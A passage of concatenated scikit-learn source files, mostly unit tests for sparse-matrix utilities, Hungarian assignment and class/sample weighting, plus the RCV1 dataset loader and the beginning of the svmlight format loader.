                  [9, 8, 7],
                  [4, 0, 5]], dtype=np.float64)
    X_csr = sp.csr_matrix(X)
    X_csc = sp.csc_matrix(X)

    swap = linalg.get_blas_funcs(('swap',), (X,))
    swap = swap[0]
    X[0], X[-1] = swap(X[0], X[-1])
    inplace_swap_row(X_csr, 0, -1)
    inplace_swap_row(X_csc, 0, -1)
    assert_array_equal(X_csr.toarray(), X_csc.toarray())
    assert_array_equal(X, X_csc.toarray())
    assert_array_equal(X, X_csr.toarray())

    X[2], X[3] = swap(X[2], X[3])
    inplace_swap_row(X_csr, 2, 3)
    inplace_swap_row(X_csc, 2, 3)
    assert_array_equal(X_csr.toarray(), X_csc.toarray())
    assert_array_equal(X, X_csc.toarray())
    assert_array_equal(X, X_csr.toarray())
    assert_raises(TypeError, inplace_swap_row, X_csr.tolil())

    X = np.array([[0, 3, 0],
                  [2, 4, 0],
                  [0, 0, 0],
                  [9, 8, 7],
                  [4, 0, 5]], dtype=np.float32)
    X_csr = sp.csr_matrix(X)
    X_csc = sp.csc_matrix(X)
    swap = linalg.get_blas_funcs(('swap',), (X,))
    swap = swap[0]
    X[0], X[-1] = swap(X[0], X[-1])
    inplace_swap_row(X_csr, 0, -1)
    inplace_swap_row(X_csc, 0, -1)
    assert_array_equal(X_csr.toarray(), X_csc.toarray())
    assert_array_equal(X, X_csc.toarray())
    assert_array_equal(X, X_csr.toarray())
    X[2], X[3] = swap(X[2], X[3])
    inplace_swap_row(X_csr, 2, 3)
    inplace_swap_row(X_csc, 2, 3)
    assert_array_equal(X_csr.toarray(), X_csc.toarray())
    assert_array_equal(X, X_csc.toarray())
    assert_array_equal(X, X_csr.toarray())
    assert_raises(TypeError, inplace_swap_row, X_csr.tolil())


def test_inplace_swap_column():
    X = np.array([[0, 3, 0],
                  [2, 4, 0],
                  [0, 0, 0],
                  [9, 8, 7],
                  [4, 0, 5]], dtype=np.float64)
    X_csr = sp.csr_matrix(X)
    X_csc = sp.csc_matrix(X)

    swap = linalg.get_blas_funcs(('swap',), (X,))
    swap = swap[0]
    X[:, 0], X[:, -1] = swap(X[:, 0], X[:, -1])
    inplace_swap_column(X_csr, 0, -1)
    inplace_swap_column(X_csc, 0, -1)
    assert_array_equal(X_csr.toarray(), X_csc.toarray())
    assert_array_equal(X, X_csc.toarray())
    assert_array_equal(X, X_csr.toarray())

    X[:, 0], X[:, 1] = swap(X[:, 0], X[:, 1])
    inplace_swap_column(X_csr, 0, 1)
    inplace_swap_column(X_csc, 0, 1)
    assert_array_equal(X_csr.toarray(), X_csc.toarray())
    assert_array_equal(X, X_csc.toarray())
    assert_array_equal(X, X_csr.toarray())
    assert_raises(TypeError, inplace_swap_column, X_csr.tolil())

    X = np.array([[0, 3, 0],
                  [2, 4, 0],
                  [0, 0, 0],
                  [9, 8, 7],
                  [4, 0, 5]], dtype=np.float32)
    X_csr = sp.csr_matrix(X)
    X_csc = sp.csc_matrix(X)
    swap = linalg.get_blas_funcs(('swap',), (X,))
    swap = swap[0]
    X[:, 0], X[:, -1] = swap(X[:, 0], X[:, -1])
    inplace_swap_column(X_csr, 0, -1)
    inplace_swap_column(X_csc, 0, -1)
    assert_array_equal(X_csr.toarray(), X_csc.toarray())
    assert_array_equal(X, X_csc.toarray())
    assert_array_equal(X, X_csr.toarray())
    X[:, 0], X[:, 1] = swap(X[:, 0], X[:, 1])
    inplace_swap_column(X_csr, 0, 1)
    inplace_swap_column(X_csc, 0, 1)
    assert_array_equal(X_csr.toarray(), X_csc.toarray())
    assert_array_equal(X, X_csc.toarray())
    assert_array_equal(X, X_csr.toarray())
    assert_raises(TypeError, inplace_swap_column, X_csr.tolil())


def test_min_max_axis0():
    X = np.array([[0, 3, 0],
                  [2, -1, 0],
                  [0, 0, 0],
                  [9, 8, 7],
                  [4, 0, 5]], dtype=np.float64)
    X_csr = sp.csr_matrix(X)
    X_csc = sp.csc_matrix(X)

    mins_csr, maxs_csr = min_max_axis(X_csr, axis=0)
    assert_array_equal(mins_csr, X.min(axis=0))
    assert_array_equal(maxs_csr, X.max(axis=0))

    mins_csc, maxs_csc = min_max_axis(X_csc, axis=0)
    assert_array_equal(mins_csc, X.min(axis=0))
    assert_array_equal(maxs_csc, X.max(axis=0))

    X = X.astype(np.float32)
    X_csr = sp.csr_matrix(X)
    X_csc = sp.csc_matrix(X)
    mins_csr, maxs_csr = min_max_axis(X_csr, axis=0)
    assert_array_equal(mins_csr, X.min(axis=0))
    assert_array_equal(maxs_csr, X.max(axis=0))
    mins_csc, maxs_csc = min_max_axis(X_csc, axis=0)
    assert_array_equal(mins_csc, X.min(axis=0))
    assert_array_equal(maxs_csc, X.max(axis=0))


def test_min_max_axis1():
    X = np.array([[0, 3, 0],
                  [2, -1, 0],
                  [0, 0, 0],
                  [9, 8, 7],
                  [4, 0, 5]], dtype=np.float64)
    X_csr = sp.csr_matrix(X)
    X_csc = sp.csc_matrix(X)

    mins_csr, maxs_csr = min_max_axis(X_csr, axis=1)
    assert_array_equal(mins_csr, X.min(axis=1))
    assert_array_equal(maxs_csr, X.max(axis=1))

    mins_csc, maxs_csc = min_max_axis(X_csc, axis=1)
    assert_array_equal(mins_csc, X.min(axis=1))
    assert_array_equal(maxs_csc, X.max(axis=1))

    X = X.astype(np.float32)
    X_csr = sp.csr_matrix(X)
    X_csc = sp.csc_matrix(X)
    mins_csr, maxs_csr = min_max_axis(X_csr, axis=1)
    assert_array_equal(mins_csr, X.min(axis=1))
    assert_array_equal(maxs_csr, X.max(axis=1))
    mins_csc, maxs_csc = min_max_axis(X_csc, axis=1)
    assert_array_equal(mins_csc, X.min(axis=1))
    assert_array_equal(maxs_csc, X.max(axis=1))


def test_min_max_axis_errors():
    X = np.array([[0, 3, 0],
                  [2, -1, 0],
                  [0, 0, 0],
                  [9, 8, 7],
                  [4, 0, 5]], dtype=np.float64)
    X_csr = sp.csr_matrix(X)
    X_csc = sp.csc_matrix(X)
    assert_raises(TypeError, min_max_axis, X_csr.tolil(), axis=0)
    assert_raises(ValueError, min_max_axis, X_csr, axis=2)
    assert_raises(ValueError, min_max_axis, X_csc, axis=-3)


def test_count_nonzero():
    X = np.array([[0, 3, 0],
                  [2, -1, 0],
                  [0, 0, 0],
                  [9, 8, 7],
                  [4, 0, 5]], dtype=np.float64)
    X_csr = sp.csr_matrix(X)
    X_csc = sp.csc_matrix(X)
    X_nonzero = X != 0
    sample_weight = [.5, .2, .3, .1, .1]
    X_nonzero_weighted = X_nonzero * np.array(sample_weight)[:, None]

    for axis in [0, 1, -1, -2, None]:
        assert_array_almost_equal(count_nonzero(X_csr, axis=axis),
                                  X_nonzero.sum(axis=axis))
        assert_array_almost_equal(count_nonzero(X_csr, axis=axis,
                                                sample_weight=sample_weight),
                                  X_nonzero_weighted.sum(axis=axis))

    assert_raises(TypeError, count_nonzero, X_csc)
    assert_raises(ValueError, count_nonzero, X_csr, axis=2)


def test_csc_row_median():
    # Test csc_row_median actually calculates the median.

    # Test that it gives the same output when X is dense.
    rng = np.random.RandomState(0)
    X = rng.rand(100, 50)
    dense_median = np.median(X, axis=0)
    csc = sp.csc_matrix(X)
    sparse_median = csc_median_axis_0(csc)
    assert_array_equal(sparse_median, dense_median)

    # Test that it gives the same output when X is sparse
    X = rng.rand(51, 100)
    X[X < 0.7] = 0.0
    ind = rng.randint(0, 50, 10)
    X[ind] = -X[ind]
    csc = sp.csc_matrix(X)
    dense_median = np.median(X, axis=0)
    sparse_median = csc_median_axis_0(csc)
    assert_array_equal(sparse_median, dense_median)

    # Test for toy data.
    X = [[0, -2], [-1, -1], [1, 0], [2, 1]]
    csc = sp.csc_matrix(X)
    assert_array_equal(csc_median_axis_0(csc), np.array([0.5, -0.5]))
    X = [[0, -2], [-1, -5], [1, -3]]
    csc = sp.csc_matrix(X)
    assert_array_equal(csc_median_axis_0(csc), np.array([0., -3]))

    # Test that it raises an Error for non-csc matrices.
    assert_raises(TypeError, csc_median_axis_0, sp.csr_matrix(X))


def test_inplace_normalize():
    ones = np.ones((10, 1))
    rs = RandomState(10)

    for inplace_csr_row_normalize in (inplace_csr_row_normalize_l1,
                                      inplace_csr_row_normalize_l2):
        for dtype in (np.float64, np.float32):
            X = rs.randn(10, 5).astype(dtype)
            X_csr = sp.csr_matrix(X)
            inplace_csr_row_normalize(X_csr)
            assert_equal(X_csr.dtype, dtype)
            if inplace_csr_row_normalize is inplace_csr_row_normalize_l2:
                X_csr.data **= 2
            assert_array_almost_equal(np.abs(X_csr).sum(axis=1), ones)






# Author: Brian M. Clapper, G Varoquaux
# License: BSD

import numpy as np

# XXX we should be testing the public API here
from sklearn.utils.linear_assignment_ import _hungarian


def test_hungarian():
    matrices = [
        # Square
        ([[400, 150, 400],
          [400, 450, 600],
          [300, 225, 300]],
         850  # expected cost
         ),

        # Rectangular variant
        ([[400, 150, 400, 1],
          [400, 450, 600, 2],
          [300, 225, 300, 3]],
         452  # expected cost
         ),

        # Square
        ([[10, 10,  8],
          [9,  8,  1],
          [9,  7,  4]],
         18
         ),

        # Rectangular variant
        ([[10, 10,  8, 11],
          [9, 8, 1, 1],
          [9, 7, 4, 10]],
         15
         ),

        # n == 2, m == 0 matrix
        ([[], []],
         0
         ),
    ]

    for cost_matrix, expected_total in matrices:
        cost_matrix = np.array(cost_matrix)
        indexes = _hungarian(cost_matrix)
        total_cost = 0
        for r, c in indexes:
            x = cost_matrix[r, c]
            total_cost += x
        assert expected_total == total_cost

        indexes = _hungarian(cost_matrix.T)
        total_cost = 0
        for c, r in indexes:
            x = cost_matrix[r, c]
            total_cost += x
        assert expected_total == total_cost






import numpy as np

from sklearn.linear_model import LogisticRegression
from sklearn.datasets import make_blobs

from sklearn.utils.class_weight import compute_class_weight
from sklearn.utils.class_weight import compute_sample_weight

from sklearn.utils.testing import assert_array_almost_equal
from sklearn.utils.testing import assert_almost_equal
from sklearn.utils.testing import assert_raises
from sklearn.utils.testing import assert_raise_message
from sklearn.utils.testing import assert_true
from sklearn.utils.testing import assert_equal
from sklearn.utils.testing import assert_warns


def test_compute_class_weight():
    # Test (and demo) compute_class_weight.
    y = np.asarray([2, 2, 2, 3, 3, 4])
    classes = np.unique(y)
    cw = assert_warns(DeprecationWarning,
                      compute_class_weight, "auto", classes, y)
    assert_almost_equal(cw.sum(), classes.shape)
    assert_true(cw[0] < cw[1] < cw[2])

    cw = compute_class_weight("balanced", classes, y)
    # total effect of samples is preserved
    class_counts = np.bincount(y)[2:]
    assert_almost_equal(np.dot(cw, class_counts), y.shape[0])
    assert_true(cw[0] < cw[1] < cw[2])


def test_compute_class_weight_not_present():
    # Raise error when y does not contain all class labels
    classes = np.arange(4)
    y = np.asarray([0, 0, 0, 1, 1, 2])
    assert_raises(ValueError, compute_class_weight, "auto", classes, y)
    assert_raises(ValueError, compute_class_weight, "balanced", classes, y)
    # Raise error when y has items not in classes
    classes = np.arange(2)
    assert_raises(ValueError, compute_class_weight, "auto", classes, y)
    assert_raises(ValueError, compute_class_weight, "balanced", classes, y)
    assert_raises(ValueError, compute_class_weight, {0: 1., 1: 2.}, classes, y)


def test_compute_class_weight_dict():
    classes = np.arange(3)
    class_weights = {0: 1.0, 1: 2.0, 2: 3.0}
    y = np.asarray([0, 0, 1, 2])
    cw = compute_class_weight(class_weights, classes, y)

    # When the user specifies class weights, compute_class_weights should just
    # return them.
    assert_array_almost_equal(np.asarray([1.0, 2.0, 3.0]), cw)

    # When a class weight is specified that isn't in classes, a ValueError
    # should get raised
    msg = 'Class label 4 not present.'
    class_weights = {0: 1.0, 1: 2.0, 2: 3.0, 4: 1.5}
    assert_raise_message(ValueError, msg, compute_class_weight, class_weights,
                         classes, y)
    msg = 'Class label -1 not present.'
    class_weights = {-1: 5.0, 0: 1.0, 1: 2.0, 2: 3.0}
    assert_raise_message(ValueError, msg, compute_class_weight, class_weights,
                         classes, y)


def test_compute_class_weight_invariance():
    # Test that results with class_weight="balanced" is invariant wrt
    # class imbalance if the number of samples is identical.
    # The test uses a balanced two class dataset with 100 datapoints.
    # It creates three versions, one where class 1 is duplicated
    # resulting in 150 points of class 1 and 50 of class 0,
    # one where there are 50 points in class 1 and 150 in class 0,
    # and one where there are 100 points of each class (this one is balanced
    # again).
    # With balancing class weights, all three should give the same model.
    X, y = make_blobs(centers=2, random_state=0)
    # create dataset where class 1 is duplicated twice
    X_1 = np.vstack([X] + [X[y == 1]] * 2)
    y_1 = np.hstack([y] + [y[y == 1]] * 2)
    # create dataset where class 0 is duplicated twice
    X_0 = np.vstack([X] + [X[y == 0]] * 2)
    y_0 = np.hstack([y] + [y[y == 0]] * 2)
    # duplicate everything
    X_ = np.vstack([X] * 2)
    y_ = np.hstack([y] * 2)
    # results should be identical
    logreg1 = LogisticRegression(class_weight="balanced").fit(X_1, y_1)
    logreg0 = LogisticRegression(class_weight="balanced").fit(X_0, y_0)
    logreg = LogisticRegression(class_weight="balanced").fit(X_, y_)
    assert_array_almost_equal(logreg1.coef_, logreg0.coef_)
    assert_array_almost_equal(logreg.coef_, logreg0.coef_)


def test_compute_class_weight_auto_negative():
    # Test compute_class_weight when labels are negative
    # Test with balanced class labels.
    classes = np.array([-2, -1, 0])
    y = np.asarray([-1, -1, 0, 0, -2, -2])
    cw = assert_warns(DeprecationWarning, compute_class_weight, "auto",
                      classes, y)
    assert_almost_equal(cw.sum(), classes.shape)
    assert_equal(len(cw), len(classes))
    assert_array_almost_equal(cw, np.array([1., 1., 1.]))

    cw = compute_class_weight("balanced", classes, y)
    assert_equal(len(cw), len(classes))
    assert_array_almost_equal(cw, np.array([1., 1., 1.]))

    # Test with unbalanced class labels.
    y = np.asarray([-1, 0, 0, -2, -2, -2])
    cw = assert_warns(DeprecationWarning, compute_class_weight, "auto",
                      classes, y)
    assert_almost_equal(cw.sum(), classes.shape)
    assert_equal(len(cw), len(classes))
    assert_array_almost_equal(cw, np.array([0.545, 1.636, 0.818]), decimal=3)

    cw = compute_class_weight("balanced", classes, y)
    assert_equal(len(cw), len(classes))
    class_counts = np.bincount(y + 2)
    assert_almost_equal(np.dot(cw, class_counts), y.shape[0])
    assert_array_almost_equal(cw, [2. / 3, 2., 1.])


def test_compute_class_weight_auto_unordered():
    # Test compute_class_weight when classes are unordered
    classes = np.array([1, 0, 3])
    y = np.asarray([1, 0, 0, 3, 3, 3])
    cw = assert_warns(DeprecationWarning, compute_class_weight, "auto",
                      classes, y)
    assert_almost_equal(cw.sum(), classes.shape)
    assert_equal(len(cw), len(classes))
    assert_array_almost_equal(cw, np.array([1.636, 0.818, 0.545]), decimal=3)

    cw = compute_class_weight("balanced", classes, y)
    class_counts = np.bincount(y)[classes]
    assert_almost_equal(np.dot(cw, class_counts), y.shape[0])
    assert_array_almost_equal(cw, [2., 1., 2. / 3])


def test_compute_sample_weight():
    # Test (and demo) compute_sample_weight.
    # Test with balanced classes
    y = np.asarray([1, 1, 1, 2, 2, 2])
    sample_weight = assert_warns(DeprecationWarning,
                                 compute_sample_weight, "auto", y)
    assert_array_almost_equal(sample_weight, [1., 1., 1., 1., 1., 1.])
    sample_weight = compute_sample_weight("balanced", y)
    assert_array_almost_equal(sample_weight, [1., 1., 1., 1., 1., 1.])

    # Test with user-defined weights
    sample_weight = compute_sample_weight({1: 2, 2: 1}, y)
    assert_array_almost_equal(sample_weight, [2., 2., 2., 1., 1., 1.])

    # Test with column vector of balanced classes
    y = np.asarray([[1], [1], [1], [2], [2], [2]])
    sample_weight = assert_warns(DeprecationWarning,
                                 compute_sample_weight, "auto", y)
    assert_array_almost_equal(sample_weight, [1., 1., 1., 1., 1., 1.])
    sample_weight = compute_sample_weight("balanced", y)
    assert_array_almost_equal(sample_weight, [1., 1., 1., 1., 1., 1.])

    # Test with unbalanced classes
    y = np.asarray([1, 1, 1, 2, 2, 2, 3])
    sample_weight = assert_warns(DeprecationWarning,
                                 compute_sample_weight, "auto", y)
    expected_auto = np.asarray([.6, .6, .6, .6, .6, .6, 1.8])
    assert_array_almost_equal(sample_weight, expected_auto)
    sample_weight = compute_sample_weight("balanced", y)
    expected_balanced = np.array([0.7777, 0.7777, 0.7777, 0.7777, 0.7777, 0.7777, 2.3333])
    assert_array_almost_equal(sample_weight, expected_balanced, decimal=4)

    # Test with `None` weights
    sample_weight = compute_sample_weight(None, y)
    assert_array_almost_equal(sample_weight, [1., 1., 1., 1., 1., 1., 1.])

    # Test with multi-output of balanced classes
    y = np.asarray([[1, 0], [1, 0], [1, 0], [2, 1], [2, 1], [2, 1]])
    sample_weight = assert_warns(DeprecationWarning,
                                 compute_sample_weight, "auto", y)
    assert_array_almost_equal(sample_weight, [1., 1., 1., 1., 1., 1.])
    sample_weight = compute_sample_weight("balanced", y)
    assert_array_almost_equal(sample_weight, [1., 1., 1., 1., 1., 1.])

    # Test with multi-output with user-defined weights
    y = np.asarray([[1, 0], [1, 0], [1, 0], [2, 1], [2, 1], [2, 1]])
    sample_weight = compute_sample_weight([{1: 2, 2: 1}, {0: 1, 1: 2}], y)
    assert_array_almost_equal(sample_weight, [2., 2., 2., 2., 2., 2.])

    # Test with multi-output of unbalanced classes
    y = np.asarray([[1, 0], [1, 0], [1, 0], [2, 1], [2, 1], [2, 1], [3, -1]])
    sample_weight = assert_warns(DeprecationWarning,
                                 compute_sample_weight, "auto", y)
    assert_array_almost_equal(sample_weight, expected_auto ** 2)
    sample_weight = compute_sample_weight("balanced", y)
    assert_array_almost_equal(sample_weight, expected_balanced ** 2, decimal=3)


def test_compute_sample_weight_with_subsample():
    # Test compute_sample_weight with subsamples specified.
    # Test with balanced classes and all samples present
    y = np.asarray([1, 1, 1, 2, 2, 2])
    sample_weight = assert_warns(DeprecationWarning,
                                 compute_sample_weight, "auto", y)
    assert_array_almost_equal(sample_weight, [1., 1., 1., 1., 1., 1.])
    sample_weight = compute_sample_weight("balanced", y, range(6))
    assert_array_almost_equal(sample_weight, [1., 1., 1., 1., 1., 1.])

    # Test with column vector of balanced classes and all samples present
    y = np.asarray([[1], [1], [1], [2], [2], [2]])
    sample_weight = assert_warns(DeprecationWarning,
                                 compute_sample_weight, "auto", y)
    assert_array_almost_equal(sample_weight, [1., 1., 1., 1., 1., 1.])
    sample_weight = compute_sample_weight("balanced", y, range(6))
    assert_array_almost_equal(sample_weight, [1., 1., 1., 1., 1., 1.])

    # Test with a subsample
    y = np.asarray([1, 1, 1, 2, 2, 2])
    sample_weight = assert_warns(DeprecationWarning,
                                 compute_sample_weight, "auto", y, range(4))
    assert_array_almost_equal(sample_weight, [.5, .5, .5, 1.5, 1.5, 1.5])
    sample_weight = compute_sample_weight("balanced", y, range(4))
    assert_array_almost_equal(sample_weight, [2. / 3, 2. / 3,
                                              2. / 3, 2., 2., 2.])

    # Test with a bootstrap subsample
    y = np.asarray([1, 1, 1, 2, 2, 2])
    sample_weight = assert_warns(DeprecationWarning, compute_sample_weight,
                                 "auto", y, [0, 1, 1, 2, 2, 3])
    expected_auto = np.asarray([1 / 3., 1 / 3., 1 / 3., 5 / 3., 5 / 3., 5 / 3.])
    assert_array_almost_equal(sample_weight, expected_auto)
    sample_weight = compute_sample_weight("balanced", y, [0, 1, 1, 2, 2, 3])
    expected_balanced = np.asarray([0.6, 0.6, 0.6, 3., 3., 3.])
    assert_array_almost_equal(sample_weight, expected_balanced)

    # Test with a bootstrap subsample for multi-output
    y = np.asarray([[1, 0], [1, 0], [1, 0], [2, 1], [2, 1], [2, 1]])
    sample_weight = assert_warns(DeprecationWarning, compute_sample_weight,
                                 "auto", y, [0, 1, 1, 2, 2, 3])
    assert_array_almost_equal(sample_weight, expected_auto ** 2)
    sample_weight = compute_sample_weight("balanced", y, [0, 1, 1, 2, 2, 3])
    assert_array_almost_equal(sample_weight, expected_balanced ** 2)

    # Test with a missing class
    y = np.asarray([1, 1, 1, 2, 2, 2, 3])
    sample_weight = assert_warns(DeprecationWarning, compute_sample_weight,
                                 "auto", y, range(6))
    assert_array_almost_equal(sample_weight, [1., 1., 1., 1., 1., 1., 0.])
    sample_weight = compute_sample_weight("balanced", y, range(6))
    assert_array_almost_equal(sample_weight, [1., 1., 1., 1., 1., 1., 0.])

    # Test with a missing class for multi-output
    y = np.asarray([[1, 0], [1, 0], [1, 0], [2, 1], [2, 1], [2, 1], [2, 2]])
    sample_weight = assert_warns(DeprecationWarning, compute_sample_weight,
                                 "auto", y, range(6))
    assert_array_almost_equal(sample_weight, [1., 1., 1., 1., 1., 1., 0.])
    sample_weight = compute_sample_weight("balanced", y, range(6))
    assert_array_almost_equal(sample_weight, [1., 1., 1., 1., 1., 1., 0.])


def test_compute_sample_weight_errors():
    # Test compute_sample_weight raises errors expected.
    # Invalid preset string
    y = np.asarray([1, 1, 1, 2, 2, 2])
    y_ = np.asarray([[1, 0], [1, 0], [1, 0], [2, 1], [2, 1], [2, 1]])
    assert_raises(ValueError, compute_sample_weight, "ni", y)
    assert_raises(ValueError, compute_sample_weight, "ni", y, range(4))
    assert_raises(ValueError, compute_sample_weight, "ni", y_)
    assert_raises(ValueError, compute_sample_weight, "ni", y_, range(4))

    # Not "auto" for subsample
    assert_raises(ValueError,
                  compute_sample_weight, {1: 2, 2: 1}, y, range(4))

    # Not a list or preset for multi-output
    assert_raises(ValueError, compute_sample_weight, {1: 2, 2: 1}, y_)

    # Incorrect length list for multi-output
    assert_raises(ValueError, compute_sample_weight, [{1: 2, 2: 1}], y_)






from sklearn.utils.metaestimators import if_delegate_has_method
from nose.tools import assert_true


class Prefix(object):
    def func(self):
        pass


class MockMetaEstimator(object):
    """This is a mock meta estimator"""
    a_prefix = Prefix()

    @if_delegate_has_method(delegate="a_prefix")
    def func(self):
        """This is a mock delegated function"""
        pass


def test_delegated_docstring():
    assert_true("This is a mock delegated function"
                in str(MockMetaEstimator.__dict__['func'].__doc__))
    assert_true("This is a mock delegated function"
                in str(MockMetaEstimator.func.__doc__))
    assert_true("This is a mock delegated function"
                in str(MockMetaEstimator().func.__doc__))






"""RCV1 dataset.
"""

# Author: Tom Dupre la Tour
# License: BSD 3 clause

import logging

from os.path import exists, join
from gzip import GzipFile
from io import BytesIO
from contextlib import closing

try:
    from urllib2 import urlopen
except ImportError:
    from urllib.request import urlopen

import numpy as np
import scipy.sparse as sp

from .base import get_data_home
from .base import Bunch
from .base import _pkl_filepath
from ..utils.fixes import makedirs
from ..externals import joblib
from .svmlight_format import load_svmlight_files
from ..utils import shuffle as shuffle_


URL = ('http://jmlr.csail.mit.edu/papers/volume5/lewis04a/'
       'a13-vector-files/lyrl2004_vectors')
URL_topics = ('http://jmlr.csail.mit.edu/papers/volume5/lewis04a/'
              'a08-topic-qrels/rcv1-v2.topics.qrels.gz')

logger = logging.getLogger()


def fetch_rcv1(data_home=None, subset='all', download_if_missing=True,
               random_state=None, shuffle=False):
    """Load the RCV1 multilabel dataset, downloading it if necessary.

    Version: RCV1-v2, vectors, full sets, topics multilabels.

    ==============     =====================
    Classes                              103
    Samples total                     804414
    Dimensionality                     47236
    Features           real, between 0 and 1
    ==============     =====================

    Read more in the :ref:`User Guide <datasets>`.

    .. versionadded:: 0.17

    Parameters
    ----------
    data_home : string, optional
        Specify another download and cache folder for the datasets. By default
        all scikit learn data is stored in '~/scikit_learn_data' subfolders.

    subset: string, 'train', 'test', or 'all', default='all'
        Select the dataset to load: 'train' for the training set
        (23149 samples), 'test' for the test set (781265 samples),
        'all' for both, with the training samples first if shuffle is False.
        This follows the official LYRL2004 chronological split.

    download_if_missing : boolean, default=True
        If False, raise a IOError if the data is not locally available
        instead of trying to download the data from the source site.

    random_state : int, RandomState instance or None, optional (default=None)
        Random state for shuffling the dataset.
        If int, random_state is the seed used by the random number generator;
        If RandomState instance, random_state is the random number generator;
        If None, the random number generator is the RandomState instance used
        by `np.random`.

    shuffle : bool, default=False
        Whether to shuffle dataset.

    Returns
    -------
    dataset : dict-like object with the following attributes:

    dataset.data : scipy csr array, dtype np.float64, shape (804414, 47236)
        The array has 0.16% of non zero values.

    dataset.target : scipy csr array, dtype np.uint8, shape (804414, 103)
        Each sample has a value of 1 in its categories, and 0 in others.
        The array has 3.15% of non zero values.

    dataset.sample_id : numpy array, dtype np.uint32, shape (804414,)
        Identification number of each sample, as ordered in dataset.data.

    dataset.target_names : numpy array, dtype object, length (103)
        Names of each target (RCV1 topics), as ordered in dataset.target.

    dataset.DESCR : string
        Description of the RCV1 dataset.

    References
    ----------
    Lewis, D. D., Yang, Y., Rose, T. G., & Li, F. (2004). RCV1: A new
    benchmark collection for text categorization research. The Journal of
    Machine Learning Research, 5, 361-397.

    """
    N_SAMPLES = 804414
    N_FEATURES = 47236
    N_CATEGORIES = 103
    N_TRAIN = 23149

    data_home = get_data_home(data_home=data_home)
    rcv1_dir = join(data_home, "RCV1")
    if download_if_missing:
        makedirs(rcv1_dir, exist_ok=True)

    samples_path = _pkl_filepath(rcv1_dir, "samples.pkl")
    sample_id_path = _pkl_filepath(rcv1_dir, "sample_id.pkl")
    sample_topics_path = _pkl_filepath(rcv1_dir, "sample_topics.pkl")
    topics_path = _pkl_filepath(rcv1_dir, "topics_names.pkl")

    # load data (X) and sample_id
    if download_if_missing and (not exists(samples_path) or
                                not exists(sample_id_path)):
        file_urls = ["%s_test_pt%d.dat.gz" % (URL, i) for i in range(4)]
        file_urls.append("%s_train.dat.gz" % URL)
        files = []
        for file_url in file_urls:
            logger.warning("Downloading %s" % file_url)
            with closing(urlopen(file_url)) as online_file:
                # buffer the full file in memory to make possible to Gzip to
                # work correctly
                f = BytesIO(online_file.read())
            files.append(GzipFile(fileobj=f))

        Xy = load_svmlight_files(files, n_features=N_FEATURES)

        # Training data is before testing data
        X = sp.vstack([Xy[8], Xy[0], Xy[2], Xy[4], Xy[6]]).tocsr()
        sample_id = np.hstack((Xy[9], Xy[1], Xy[3], Xy[5], Xy[7]))
        sample_id = sample_id.astype(np.uint32)

        joblib.dump(X, samples_path, compress=9)
        joblib.dump(sample_id, sample_id_path, compress=9)

    else:
        X = joblib.load(samples_path)
        sample_id = joblib.load(sample_id_path)

    # load target (y), categories, and sample_id_bis
    if download_if_missing and (not exists(sample_topics_path) or
                                not exists(topics_path)):
        logger.warning("Downloading %s" % URL_topics)
        with closing(urlopen(URL_topics)) as online_topics:
            f = BytesIO(online_topics.read())

        # parse the target file
        n_cat = -1
        n_doc = -1
        doc_previous = -1
        y = np.zeros((N_SAMPLES, N_CATEGORIES), dtype=np.uint8)
        sample_id_bis = np.zeros(N_SAMPLES, dtype=np.int32)
        category_names = {}
        for line in GzipFile(fileobj=f, mode='rb'):
            line_components = line.decode("ascii").split(u" ")
            if len(line_components) == 3:
                cat, doc, _ = line_components
                if cat not in category_names:
                    n_cat += 1
                    category_names[cat] = n_cat

                doc = int(doc)
                if doc != doc_previous:
                    doc_previous = doc
                    n_doc += 1
                    sample_id_bis[n_doc] = doc
                y[n_doc, category_names[cat]] = 1

        # Samples in X are ordered with sample_id,
        # whereas in y, they are ordered with sample_id_bis.
        permutation = _find_permutation(sample_id_bis, sample_id)
        y = y[permutation, :]

        # save category names in a list, with same order than y
        categories = np.empty(N_CATEGORIES, dtype=object)
        for k in category_names.keys():
            categories[category_names[k]] = k

        # reorder categories in lexicographic order
        order = np.argsort(categories)
        categories = categories[order]
        y = sp.csr_matrix(y[:, order])

        joblib.dump(y, sample_topics_path, compress=9)
        joblib.dump(categories, topics_path, compress=9)

    else:
        y = joblib.load(sample_topics_path)
        categories = joblib.load(topics_path)

    if subset == 'all':
        pass
    elif subset == 'train':
        X = X[:N_TRAIN, :]
        y = y[:N_TRAIN, :]
        sample_id = sample_id[:N_TRAIN]
    elif subset == 'test':
        X = X[N_TRAIN:, :]
        y = y[N_TRAIN:, :]
        sample_id = sample_id[N_TRAIN:]
    else:
        raise ValueError("Unknown subset parameter. Got '%s' instead of one"
                         " of ('all', 'train', test')" % subset)

    if shuffle:
        X, y, sample_id = shuffle_(X, y, sample_id, random_state=random_state)

    return Bunch(data=X, target=y, sample_id=sample_id,
                 target_names=categories, DESCR=__doc__)


def _inverse_permutation(p):
    """inverse permutation p"""
    n = p.size
    s = np.zeros(n, dtype=np.int32)
    i = np.arange(n, dtype=np.int32)
    np.put(s, p, i)  # s[p] = i
    return s


def _find_permutation(a, b):
    """find the permutation from a to b"""
    t = np.argsort(a)
    u = np.argsort(b)
    u_ = _inverse_permutation(u)
    return t[u_]






"""This module implements a loader and dumper for the svmlight format

This format is a text-based format, with one sample per line. It does
not store zero valued features hence is suitable for sparse dataset.

The first element of each line can be used to store a target variable to
predict.

This format is used as the default format for both svmlight and the
libsvm command line programs.
"""

# Authors: Mathieu Blondel <mathieu@mblondel.org>
#          Lars Buitinck
#          Olivier Grisel <olivier.grisel@ensta.org>
# License: BSD 3 clause

from contextlib import closing
import io
import os.path

import numpy as np
import scipy.sparse as sp

from ._svmlight_format import _load_svmlight_file
from .. import __version__
from ..externals import six
from ..externals.six import u, b
from ..externals.six.moves import range, zip
from ..utils import check_array
from ..utils.fixes import frombuffer_empty


def load_svmlight_file(f, n_features=None, dtype=np.float64,
                       multilabel=False, zero_based="auto", query_id=False):
    """Load datasets in the svmlight / libsvm format into sparse CSR matrix

    This format is a text-based format, with one sample per line. It does
    not store zero valued features hence is suitable for sparse dataset.

    The first element of each line can be used to store a target variable
    to predict.

    This format is used as the default format for both svmlight and the
    libsvm command line programs.

    Parsing a text based source can be expensive. When working on
    repeatedly on the same dataset, it is recommended to wrap this
    loader with joblib.Memory.cache to store a memmapped backup of the
    CSR results of the first call and benefit from the near instantaneous
    loading of memmapped structures for the subsequent calls.

    In case the file contains a pairwise preference constraint (known
    as "qid" in the svmlight format) these are ignored unless the
    query_id parameter is set to True. These pairwise preference
    constraints can be used to constraint the combination of samples
    when using pairwise loss functions (as is the case in some
